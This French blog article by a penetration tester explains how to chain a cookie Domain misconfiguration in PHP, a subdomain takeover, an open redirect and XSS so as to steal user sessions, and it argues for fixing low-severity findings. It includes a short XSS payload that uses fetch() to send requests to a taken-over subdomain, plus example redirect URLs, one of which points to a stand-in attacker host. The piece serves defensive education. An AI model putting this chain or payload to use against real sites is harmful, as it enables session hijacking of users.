Transformer des vulnérabilités P3 P4 P5 en P1 ou comment voler des sessions utilisateur en enchaînant plusieurs vulnérabilités à bas risque

Note : Cet article est aussi disponible en anglais 🇬🇧.


Cet article présente un scénario d’attaque permettant d’enchaîner des vulnérabilités, qui individuellement ont un impact limité, mais qui une fois combinées deviennent redoutablement dangereuses.

Ci-dessous se trouvent les vulnérabilités utilisées (entre parenthèse la catégorie Vulnerability Rating Taxonomy (VRT) et la sévérité) :

  • Un défaut de configuration de l’attribut domain des cookies (Server Security Misconfiguration ➡️ Cookie scoped to parent domain, P5)
  • Une prise de contrôle de sous-domaine (Server Security Misconfiguration ➡️ Misconfigured DNS ➡️ Basic Subdomain Takeover, P3)
  • Une redirection arbitraire d’URL (Unvalidated Redirects and Forwards ➡️ Open Redirect ➡️ GET-Based (P4), POST-Based (P5) or Header-Based (P5))
  • Une XSS stockée (Cross-Site Scripting (XSS) ➡️ Stored (P2 à P4 selon les privilèges requis)) pour l’aspect zero click ou une XSS réfléchie (Cross-Site Scripting (XSS) ➡️ Reflected ➡️ Non-Self, P3) si l’interaction utilisateur est acceptable

Note : dans cet article, je vais utiliser la notation UA comme diminutif de User-Agent qui désigne n’importe quel client HTTP (navigateur web, bot, crawler, etc.).

Défaut de configuration

Les cookies 🍪 ont un attribut Domain définissant la portée de ceux-ci, c’est-à-dire sur quelles URLs les cookies doivent être envoyés.

Les pages Set-Cookie et HTTP cookies du MDN résument bien le comportement de cet attribut pour l’en-tête Set-Cookie tel que spécifié dans la RFC 6265.

Accrochez-vous bien, ce n’est pas aussi simple qu’il n’y parait.

D’un point de vue haut niveau, si l’attribut Domain est omis du cookie dans l’en-tête Set-Cookie, alors l’UA devra n’utiliser ce cookie que pour l’hôte de l’URL du document courant. Donc les sous-domaines ne seront pas inclus. Par exemple, si l’URL est http://example.org/blog, le cookie sera valide pour example.org mais pas pour www.example.org ou payment.dev.example.org ou n’importe quels autres sous-domaines ou domaines.

Set-Cookie: noraj=yet%20another%20secret

Si l’attribut Domain est présent pour le cookie dans l’en-tête Set-Cookie, alors tous les sous-domaines du domaine spécifié seront acceptés. Par exemple, si Domain=noraj.test alors le cookie sera envoyé pour noraj.test mais aussi www.noraj.test, sub.noraj.test, payment.dev.noraj.test, mais pas pour les autres domaines.

Set-Cookie: noraj=yet%20another%20secret; Domain=noraj.test

Mais si l’on veut rentrer dans les détails, que se passe-t-il réellement côté UA ?

En effet, si spécifier l’attribut Domain est optionnel dans l’en-tête Set-Cookie, un cookie stocké dans l’UA doit obligatoirement avoir un attribut Domain pour être valide et utilisable. La RFC nous met en garde, si l’attribut Domain n’est pas présent pour un cookie provenant du Cookie Store alors le comportement sera non défini, mais il est fortement conseillé à l’UA de l’ignorer complètement.

If the attribute-value is empty, the behavior is undefined. However, the user agent SHOULD ignore the cookie-av entirely.

On devine bien que l’UA stockera toujours un cookie avec un attribut Domain, que l’en-tête Set-cookie en ait spécifié un ou non. C’est ce que nous avons vu auparavant, soit il est spécifié directement soit il ne l’ait pas et alors il est extrait de l’URL.

Cependant avec les connaissances apportées actuellement, il semble y avoir un problème. Si aucun domaine n’est spécifié dans l’en-tête Set-Cookie, le domaine sera extrait de l’URL et utilisé dans le cookie stocké par l’UA (ex : example.org), et les sous-domaines ne seront pas autorisés. Par contre, si un domaine (ex : example.org) est spécifié dans l’en-tête Set-Cookie, le domaine utilisé dans le cookie stocké par l’UA sera le même (example.org) mais, cette fois, les sous-domaines seront autorisés. Comment l’UA peut-il faire la distinction entre deux comportements différents si l’information stockée est la même ?

On peut trouver la réponse en lisant la RFC.

  • If the domain-attribute is non-empty:

    • If the canonicalized request-host does not domain-match the domain-attribute:
    • Ignore the cookie entirely and abort these steps.
    • Otherwise:
    • Set the cookie’s host-only-flag to false.
    • Set the cookie’s domain to the domain-attribute.
  • Otherwise:
    • Set the cookie’s host-only-flag to true.
    • Set the cookie’s domain to the canonicalized request-host.

La réponse se trouve dans l’utilisation d’un autre attribut de cookie : hostOnly, qui jouera exactement le rôle décrit précédemment.

Faisons un test naïf en PHP.

Tout d’abord, déclarons un cookie de session et un cookie personnalisé sans spécifier d’attribut Domain.

<?php
  echo '<h1>noraj - OK</h1>';
  session_start(); // PHPSESSID
  setcookie('noraj', 'yet another secret');
?>

Note : aucun domaine n’est spécifié, ni directement en paramètre de la fonction, ni via la configuration php.ini, ni via une directive ini_set, ni via une option de la ligne de commande ni d’une quelque autre façon que ce soit.

On peut vérifier avec curl qu’aucun attribut Domain n’est positionné dans les en-têtes Set-Cookie :

$ curl http://noraj.test:8080/ -v
*   Trying 127.0.0.2:8080...
* Connected to noraj.test (127.0.0.2) port 8080 (#0)
> GET / HTTP/1.1
> Host: noraj.test:8080
> User-Agent: curl/7.83.1
> Accept: */*
> 
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Host: noraj.test:8080
< Date: Tue, 28 Jun 2022 12:31:32 GMT
< Connection: close
< X-Powered-By: PHP/8.1.7
< Set-Cookie: PHPSESSID=n7ktvgv47t55ndlfrc1v5uaoin; path=/
< Expires: Thu, 19 Nov 1981 08:52:00 GMT
< Cache-Control: no-store, no-cache, must-revalidate
< Pragma: no-cache
< Set-Cookie: noraj=yet%20another%20secret
< Content-type: text/html; charset=UTF-8
< 
* Closing connection 0
<h1>noraj - OK</h1>

Dans l’onglet Storage, de la console développeur de Firefox (version 101.0.1), on retrouve les cookies.

Ces cookies ont bien l’attribut Domain égal à l’hôte de l’URL requêté, car aucun attribut Domain n’était présent dans l’en-tête Set-Cookie. Par défaut, d’autres attributs sont affichés comme Path, HttpOnly, Secure, SameSite, etc. L’attribut HostOnly est l’un des seuls non affichés par défaut. Cependant, il est possible d’ajouter la colonne correspondant à cet attribut.

On voit bien qu’avec l’attribut HostOnly à true, les cookies ne seront pas envoyés aux sous-domaines.

Note : Chromium (version 103.0.5060.53) ne permet pas de visualiser l’attribut HostOnly. Pour y accéder, il faudrait créer une extension qui utilise l’API chrome.cookies (cette API n’est pas disponible depuis la console JavaScript), ce qui n’est absolument pas pratique, d’où l’utilisation de Firefox.

Un autre serveur web va servir les sous-domaines sub.noraj.test et www.noraj.test, en les contactant avec le même navigateur, les cookies ne seront pas envoyés, ces sites n’y auront donc pas accès.

Si l’on modifie légèrement le code afin que le serveur spécifié un attribut Domain pour l’en-tête Set-Cookie, nous pourrons observer l’autre cas.

<?php
  echo '<h1>noraj - OK</h1>';
  session_start(['cookie_domain' => 'noraj.test']); // PHPSESSID
  setcookie('noraj', 'yet another secret', ['domain' => 'noraj.test']);
?>

Une vérification avec curl nous permet de voir l’attribut positionné dans la réponse du serveur.

$ curl http://noraj.test:8080/ -v
*   Trying 127.0.0.2:8080...
* Connected to noraj.test (127.0.0.2) port 8080 (#0)
> GET / HTTP/1.1
> Host: noraj.test:8080
> User-Agent: curl/7.83.1
> Accept: */*
> 
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Host: noraj.test:8080
< Date: Tue, 28 Jun 2022 13:00:16 GMT
< Connection: close
< X-Powered-By: PHP/8.1.7
< Set-Cookie: PHPSESSID=q5kkcsmgpebi6g57p8kd6clh83; path=/; domain=noraj.test
< Expires: Thu, 19 Nov 1981 08:52:00 GMT
< Cache-Control: no-store, no-cache, must-revalidate
< Pragma: no-cache
< Set-Cookie: noraj=yet%20another%20secret; domain=noraj.test
< Content-type: text/html; charset=UTF-8
< 
* Closing connection 0
<h1>noraj - OK</h1

Note : pour l’expérimentation dans le navigateur web, bien veiller à faire une requête qui contourne le cache (CTRL + F5) ainsi qu’à purger les cookies stockés entre chaque requête.

Maintenant, dans Firefox, on observe des différences, cette fois-ci l’attribut HostOnly est bien positionné à false, les cookies devraient être envoyés aux sous-domaines.

On note aussi que l’attribut Domain vaut maintenant .noraj.test et plus noraj.test.

Lorsque ce point préfixé est présent dans l’en-tête Set-Cookie, c’est un reliquat du passé qui n’a aucune importance, cela date d’un comportement d’une ancienne version de la RFC et certaines applications choisissent de le fournir en violant la RFC. On trouve une note à ce sujet dans la RFC 6265 pour l’en-tête Set-Cookie.

Note that a leading %x2E ("."), if present,
is ignored even though that character is not permitted,

Par contre, lorsque ce point préfixé est présent, l’UA a pour rôle de la supprimer.

If the first character of the attribute-value string is %x2E ("."):

  • Let cookie-domain be the attribute-value without the leading %x2E (".") character.

Otherwise:

  • Let cookie-domain be the entire attribute-value.

Je suis donc personnellement surpris que Firefox et Chromium aient ce point de positionné dans le Cookie Store. Cela semble véritablement être dû au comportement déprécié de la RFC 2965 qui est obsolète.

Domain=value

OPTIONAL. The value of the Domain attribute specifies the domain
for which the cookie is valid. If an explicitly specified value
does not start with a dot, the user agent supplies a leading dot.

Refermons cette parenthèse sur le leading dot qui met en lumière l’écart d’implémentation de la RFC par ces navigateurs web en tête du marché.

Avec ces cookies ayant l’attribut HostOnly = false, que l’on peut qualifier de Cross-domain, si l’on se rend maintenant sur un sous-domaine comme sub.noraj.test, les cookies lui ont été transmis.

Maintenant, revenons au cas initial où nous ne fournissons pas d’attribut Domain en argument des fonctions session_start() et setcookie(). Cependant, cette fois-ci, nous spécifierons un domaine avec l’option de configuration session.cookie_domain de la configuration de PHP.

Note : Cette option sera plus généralement spécifiée via le fichier de configuration php.ini en production, mais ici pour le besoin de la preuve de concept (PoC), je l’ai spécifié directement dans le code à l’aide de la fonction ini_set().

<?php
  ini_set('session.cookie_domain', 'noraj.test' ); // or in php.ini
  echo '<h1>noraj - OK</h1>';
  session_start(); // PHPSESSID
  setcookie('noraj', 'yet another secret');
?>

C’est le moment de deviner quel sera le comportement observé avant que je vous le divulgâche.

Avec curl :

$ curl http://noraj.test:8080/ -v
*   Trying 127.0.0.2:8080...
* Connected to noraj.test (127.0.0.2) port 8080 (#0)
> GET / HTTP/1.1
> Host: noraj.test:8080
> User-Agent: curl/7.83.1
> Accept: */*
> 
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Host: noraj.test:8080
< Date: Tue, 28 Jun 2022 13:50:58 GMT
< Connection: close
< X-Powered-By: PHP/8.1.7
< Set-Cookie: PHPSESSID=bpp2khdkaii84b3edoibit28dr; path=/; domain=noraj.test
< Expires: Thu, 19 Nov 1981 08:52:00 GMT
< Cache-Control: no-store, no-cache, must-revalidate
< Pragma: no-cache
< Set-Cookie: noraj=yet%20another%20secret
< Content-type: text/html; charset=UTF-8
< 
* Closing connection 0
<h1>noraj - OK</h1>

Avec Firefox sur le domaine principal :

Avec Firefox sur un sous-domaine :

session.cookie_domain a pour effet de définir un domaine par défaut afin de spécifier dans le cookie de session. Cela ne s’applique qu’au cookie de session géré par PHP, PHPSESSID, un domaine sera donc défini même si l’on ne spécifie aucun argument à la fonction session_start().

Le piège est là, et il a plusieurs effets pernicieux.

En effet, nous avons pu voir que l’utilisation de l’attribut Domain est dangereux, car il permet au navigateur d’envoyer les cookies à tous les sous-domaines. Mais là où les différentes fonctions de gestion des cookies permettent de spécifier le domaine explicitement, volontairement, au cas par cas; l’utilisation de session.cookie_domain rend ce comportement implicite, par défaut et potentiellement involontaire. Le comportement de l’attribut Domain est peu connu du public, la documentation à ce sujet reste assez surfacique et approximative voir même erronée, et c’est un sujet faux ami : il a l’air simple en apparence, mais se révèle avoir une complexité assez subtile. Le meilleur moyen de l’appréhender est donc de lire la RFC 6265. La compréhension du mécanisme est rendue d’autant plus difficile que la documentation officielle de PHP reste très succincte et mêle aisément ce qui relève du fonctionnement de HTTP de ce qui relève de PHP. On retrouve aussi des billets StackOverflow où la réponse acceptée suggère d’utiliser session.cookie_domain afin d’augmenter la sécurité, l’auteur de cette réponse pense que par défaut si aucune valeur n’est spécifiée le cookie accepterait tous les domaines et que spécifier un domaine permettrait donc de réduire cela. Bien sûr cette réponse est fausse et est même l’exact opposé de la réalité. Il n’est donc pas facile pour un développeur volontaire de se renseigner correctement sur le sujet sans lire la RFC.

Un autre effet insidieux de l’utilisation de session.cookie_domain dans php.ini est qu’il est difficile de se rendre compte de celle-ci.
Sur système d’exploitation comme ArchLinux, il n’y a qu’une version de PHP disponible dans les dépôts officiels (enfin il y 2 : PHP 8.1 et PHP 7.4, mais la 7.4 est installé comme php7 donc il n’y a pas d’ambiguïté) et un seul fichier de configuration (/etc/php/php.ini) mais pour une distribution comme Ubuntu, il est possible d’avoir un grand nombre de versions de PHP installé en parallèle (par exemple /etc/php/{5.6, 7.0, 7.1, 7.2, 7.3, 7.4, 8.0, 8.1}/) et ensuite d’avoir un fichier de configuration php.ini dédié par application ou par usage (par exemple /etc/php/8.1/{apache2,cli,fpm}). Il peut donc parfois être difficile d’identifier le bon fichier de configuration utilisé par l’application. D’autant plus que ce changement de configuration dans php.ini ne sera pas visible lors d’un audit de code ou par un linter lors du développement comme ce fichier ne fait pas partie du projet. Il est toutefois possible de s’en rendre compte lors d’un audit de configuration, d’un test d’intrusion ou en observant la configuration effective avec phpinfo().

Pour résumé, l’utilisation de l’option de configuration session.cookie_domain en PHP ou tout autre équivalent visant à définir un domaine pour les cookies et donc à autoriser l’envoi de cookies de session à tous les sous-domaines est dangereux. Si un attaquant prend le contrôle d’un sous-domaine, il peut alors voler et usurper les sessions des utilisateurs de l’application du domaine racine ou des autres sous-domaines.

Prise de contrôle de sous-domaine

Nous avons précédemment vu le danger de l’attribut domain des cookies, mais comment faire pour prendre le contrôle d’un sous-domaine afin de les voler ?

Imaginons une entreprise ayant comme domaine principal axays.fr et ayant les services suivants :

  • blog : blog.axays.fr
  • outil de gestion des tickets : support.axays.fr
  • wiki : wiki.axays.fr
  • calendrier : cal.axays.fr

Mais voilà qu’un jour l’entreprise décide de migrer d’outil de gestion des tickets. Elle veut passer de l’outil MegaSoft à l’outil GigaSoft, mais pour opérer une transition tout en douceur et se laisser le temps de corriger les bugs, l’entreprise va garder les deux outils en parallèle durant une phase transitoire avant de supprimer MegaSoft. Elle se retrouve donc dans le cas suivant :

  • MegaSoft : support.axays.fr
  • GigaSoft : aide.axays.fr

La migration se passe sans accro, GigaSoft fonctionne parfaitement, l’entreprise décide donc de supprimer MegaSoft : elle supprime donc la machine virtuelle infonuagique (cloud) correspondante. Cependant l’entreprise a oublié de supprimer l’entrée DNS support.axays.fr. Et alors ? C’est grave docteur ? Et bien oui !

En effet, l’entrée DNS du sous-domaine de l’entreprise est un alias pointant vers un sous-domaine de l’hébergeur qui pointe vers la ressource infonuagique (cloud) :

support.axays.fr CNAME axays-support.monsuperhebergeur.fr.

Or un certain nombre de fournisseurs d’hébergement ou de services en ligne laissent libre choix aux utilisateurs de réserver n’importe quelle ressource du moment qu’elle est disponible. En supprimant la machine virtuelle ou l’espace d’hébergement, l’entreprise a donc libéré l’espace de nom (namespace) axays-support.monsuperhebergeur.fr et maintenant tout le monde est libre de le réserver.

Un attaquant peut alors réserver l’espace d’hébergement axays-support chez le même fournisseur afin d’obtenir l’espace de nom axays-support.monsuperhebergeur.fr et y héberger son application malveillante. L’entrée DNS support.axays.fr étant toujours configurée pour pointer dessus, les victimes se rendant sur http://support.axays.fr vont donc envoyer leurs cookies de session à une application gérée par un acteur malveillant, car support.axays.fr est bien un sous-domaine d’axays.fr et le cookie était configuré avec Domain=axays.fr (donc HostOnly=false).

En résumé, si un sous-domaine de l’entreprise n’est plus utilisé, mais continue de pointer vers une ressource infonuagique (cloud) tierce, il y a un risque de prise de contrôle de sous-domaine (subdomain takeover).

Il existe d’ailleurs le projet Can I take over XYZ? qui liste les services infonuagiques (cloud) dont on peut réclamer les sous-domaines.

A list of services and how to claim (sub)domains with dangling DNS records.

Tous ne sont pas vulnérables et certains le sont sous conditions. Dans le lot, on note en particulier la présence de services très largement utilisés : WordPress, AWS S3 Bucket, Microsoft Azure.

Forcer l’utilisateur à tomber dans le piège

En combinant les deux premières vulnérabilités, on voit bien comment un attaquant peut voler les sessions des utilisateurs, mais il ne va certainement pas attendre que les utilisateurs tombent sur l’URL malveillante par hasard.

Comment forcer un utilisateur à se rendre sur http://sous-domaine-compromis.client.com ?

Pour cela plusieurs choix possibles :

  • Une redirection arbitraire d’URL (Open Redirect)
  • Une XSS stockée ou une XSS réfléchie

Pour faire court, une redirection arbitraire d’URL est une page de l’application web qui va rediriger l’utilisateur vers une autre page passée en paramètre. Si je reprends mon exemple d’entreprise fictive, cela donnerait une page vulnérable du blog qui aurait un paramètre url permettant de rediriger l’utilisateur vers le sous-domaine compromis support.axays.fr.

http://blog.axays.fr/page-vulnerable?url=http://support.axays.fr

Il arrive parfois que ce genre de paramètres intègrent un mécanisme de protection où l’on ne peut passer en paramètre qu’un chemin relatif au site lui-même, par exemple :

http://app.axays.fr/login?redirectUrl=/home

Dans ce cas-là, il sera difficile d’exploiter la redirection. Cependant, on rencontre aussi des applications acceptant des URLs complètes et qui vérifient si le domaine de l’URL appartient à l’entreprise ou non. Si cette vérification n’est pas faite correctement, c’est-à-dire en utilisant un parser d’URL standard et en comparant le champ host extrait à une liste blanche de domaines autorisés, alors le contournement de la sécurité sera possible. En effet, j’ai déjà eu l’occasion lors de test d’intrusion de constater que l’application se contente de récupérer la string url voir d’utiliser un parser d’URL et d’extraire le champ host, mais de mal effectué la comparaison en regardant uniquement si la string ou le champ host extrait fini par axays.fr au lieu vérifier que cela correspond exactement. On peut aisément comprend pourquoi. Une entreprise qui aurait 500 sous-domaines dont certains sont supprimés ou créés tous les jours n’a pas envie, de prime abord, de maintenir une liste des sous-domaines à jour. Elle va donc avoir tendance à autoriser .*axays.fr afin d’accepter tous les sous-domaines. En temps normal ce compromis est acceptable, car un attaquant ne pourra pas envoyer des URL vers un site web tiers, par exemple :

http://blog.axays.fr/page-vulnerable?url=http://cookie-stealer.evil.corp

Mais comme ici l’attaquant contrôle le sous-domaine support.axays.fr, il peut alors aisément contourner ce mécanisme de protection.

Finalement le cyber-criminel pourra commencer à utiliser des techniques d’ingénierie sociale (social engineering) afin de diffuser l’URL malveillante http://blog.axays.fr/page-vulnerable?url=http://support.axays.fr : campagne d’hameçonnage (phishing), poster l’URL sur des chats ou sur des forums, etc.

Les plus perspicaces d’entre vous se diront :

"A quoi bon utiliser une redirection d’URL et ne pas fournir l’URL vers le sous-domaine compromis directement puisque celui-ci parait légitime ?"

C’est une bonne remarque. Cela est utile dans le cas où l’application vulnérable à la redirection d’URL est une application utilisée tous les jours par les utilisateurs et donc dans laquelle ils ont confiance alors que le sous-domaine compromis, ils ne l’ont peut-être jamais vu, ça ne leur parlera pas et cela leur semblera suspect. Imaginez que vous recevez une URL du type : http://test-app.environment-23.staging.pipe-2.dev.axays.fr ? Ca va tout de suite vous sembler rocambolesque et peut être que vous ne verrez même pas le domaine tellement le sous-domaine est long.

Une redirection d’URL peut être rare et ne pas affecter toutes les applications, il faut déjà que l’application ait un paramètre qui manipule une URL ou un chemin que l’on puisse détourner. Alors qu’une XSS sera un peu plus générique et à plus de chance de toucher un large panel d’applications.

Si l’attaquant trouve une XSS réfléchie, il pourra utiliser une charge utile similaire :

<script>
  fetch('https://support.axays.fr', {
  method: 'POST',
  mode: 'no-cors',
  body: 'noraj'
  });
</script>

Trois remarques à ce sujet :

  1. Ici le navigateur du client effectuera une requête vers le sous-domaine compromis en tâche de fond, il ne sera pas redirigé, cela sera donc plus discret. Ce qui donne un avantage à la méthode XSS plutôt qu’à la redirection d’URL.
  2. On peut en profiter pour faire une requête POST et passer tout un tas d’informations sur l’utilisateur (IP, nom d’utilisateur, empreinte du navigateur, etc.) afin de mieux identifier la victime dont on aura besoin pour cibler les sessions intéressantes. Ces infos ne peuvent pas être récupérées avec la redirection d’URL, car il n’y a pas d’exécution de code et l’utilisation de la méthode GET limite la taille de l’URL.
  3. "Mais si on a une XSS pourquoi on ne vole pas les cookies avec document.cookie directement ?", en général l’application aura positionné l’attribut httpOnly sur le cookie de session qui empêche JavaScript de récupérer les cookies.

La redirection d’URL et la XSS réfléchie partagent un handicap commun, le besoin d’une interaction utilisateur pour aller cliquer sur une URL malveillante. Le mieux pour l’attaquant serait de s’en dispenser, en utilisant une XSS stockée qui utilisera le même mécanisme que la XSS réfléchie, mais la requête vers le sous-domaine compromis sera effectuée automatiquement lorsque l’utilisateur accédera à la page vulnérable à la XSS.

Scénario d’attaque

Si je résume le cheminement complet de l’attaque en utilisant 3 vulnérabilités parmi celles étudiées précédemment cela donne les étapes suivantes :

  • Utilisation de l’attribut Domain sur le cookie de session positionné implicitement et par défaut à cause de l’utilisation de l’option session.cookie_domain dans la configuration de PHP ;
  • Prise de contrôle d’un sous-domaine en jachère dont l’entrée DNS pointe toujours vers une ressource infonuagique non utilisée ;
  • Forçage de l’utilisateur à visiter le sous-domaine compromis :
    • Option n°1 : Redirection d’URL ou XSS réfléchie combinée à une technique d’ingénierie sociale
    • Option n°2 : XSS stockée

Et si je résume le résumé et que j’utilise une pléthore d’anglicismes, cela donne :

Domain cookie flag + subdomain takeover + ((open-redirect / reflected XSS + social engineering) ou (stored XSS))

Et si je remplace certains mots par des frimousses (emoji) 🤯 afin d’arriver à un cyber-rébus :

Domain 🍪 🚩 ➕ subdomain 🥷 ➕ ((👐-⏩ / 🪞 🇽 🇸 🇸 ➕ 🥳 ⚙️) ou (📦 🇽 🇸 🇸))

Angle mort et moralité

Certaines entreprises bénéficiaires de tests d’intrusion peuvent avoir tendance à corriger rapidement ou dans un temps raisonnable les vulnérabilités dont la sévérité est Haute ou Critique, mais mettre très longtemps (ex : plus d’un an) à corriger les vulnérabilités dont la sévérité est Moyenne ou Faible, voir ne jamais les corriger du tout, car un décideur peut juger, certainement à tort, que le risque est acceptable.

Il est vrai qu’individuellement prise, on pourrait être tenté de penser les assertions suivantes aux sujets de ces vulnérabilités :

  • "C’est juste une erreur de configuration"
  • "Les sous-domaines nous appartiennent, un attaquant ne pourra rien faire"
  • "Il faudrait déjà qu’un attaquant contrôle l’un de nos sous-domaines or nous avons mis des WAF sur chaque application"
  • "De toute façon les cookies sont protégés contre les XSS"
  • "L’attaquant ne pourra rien faire avec une redirection d’URL, nous avons mis en place un filtrage sur nos domaines"
  • "Le SOC va détecter les connexions vers des domaines tiers"
  • etc.

Inutile de reprendre ces excuses une par une, si vous avez lu assidûment cet article, vous êtes normalement déjà convaincu que l’on peut contourner chacune d’entre elles.

Comme nous l’avons vu tout au long de cet article, une fois combinées, toutes ces vulnérabilités "à faible risque" constituent un risque sérieux ayant un impact réel et important.

De manière générale, beaucoup de vulnérabilités dites faibles ne permettent pas d’avoir un impact direct sur la cible individuellement, mais peuvent devenir redoutables lorsqu’elles sont enchaînées astucieusement. C’est pourquoi, malgré le fait qu’il n’y ait pas d’urgence à les corriger, il faut tout de même les prendre au sérieux et finir par les corriger.

Nous venons de voir que comme l’impact de ces vulnérabilités parait peu clair, improbable ou anecdotique, certaines personnes peuvent choisir de négliger leur correction à l’issue d’un test d’intrusion. Mais cela peut être pire dans le cadre d’un programme de chasse aux bugs (bug bounty).

En effet, nombreuses sont les plateformes de chasse aux bugs (bug bounty) à exclure les vulnérabilités les plus faibles afin d’éviter à leurs clients d’être submergés par des vagues de rapports sans impact dont les vulnérabilités rapportées sont inexploitables. On constate souvent une surenchère de zèle quant à l’exhaustivité des types de vulnérabilités à ajouter à la liste des bugs exclus du périmètre (out of scope). Voici ce que l’on peut voir dans des listes d’exclusion classiques :

  • XSS réfléchie : exclue si aucun impact démontré. D’ailleurs, les XSS réfléchies sont exclues des scripts d’exploitation admissible sur Exploit-DB si elles n’ont pas un numéro de CVE attribué.
  • Redirection arbitraire d’URL : il n’est pas rare de voir ce type de bug exclu sans condition.
  • Erreur de configuration : exclue si aucun impact n’est démontré et qu’une preuve de concept n’est pas fournie.
  • Prise de contrôle de sous-domaine : exclue si aucun impact n’est démontré et qu’une preuve de concept n’est pas fournie.
  • Attributs de cookies mal configurés : quasiment toujours exclus. Cela vise en particulier les attributs HttpOnly et Secure car ils n’ont d’importances que sur les cookies de session et pas sur des cookies contenant des informations fonctionnelles comme la langue préférée. Beaucoup de débutants ne comprenant pas bien le fonctionnement ou l’impact et ont tendance à remonter leur absence à tort, ce qui pousse les clients et les plateformes à les exclure des types de bugs éligibles. Les attributs Domain et HostOnly se retrouvent donc exclus en dommage collatéral.
  • Manquements aux bonnes pratiques (de sécurité) : quasiment toujours exclus. Raison identique au point précédent.

Ces listes d’exclusion toujours plus longues au sein des programmes de chasse aux bugs découragent les chasseurs de bugs à remonter de tels problèmes de sécurité alors que dans certains cas ceux-ci peuvent avoir un impact important. Les chercheurs expérimentés sont alors obligés de combiner un grand nombre de ces vulnérabilités afin d’être en mesure de prouver la criticité d’un scénario utilisant ces vulnérabilités qui sont hors périmètre.

C’est une chose de jouer avec le feu en acceptant un risque plutôt que de corriger une vulnérabilité, mais s’en est une autre de ne pas avoir conscience que la vulnérabilité existe, car elle n’a pas été remontée faute de marginalisation.

Moralité ? Dans le doute, il vaut mieux corriger.

A propos de l’auteur

Article écrit par Alexandre ZANNI alias noraj, Ingénieur en Test d’Intrusion chez ACCEIS.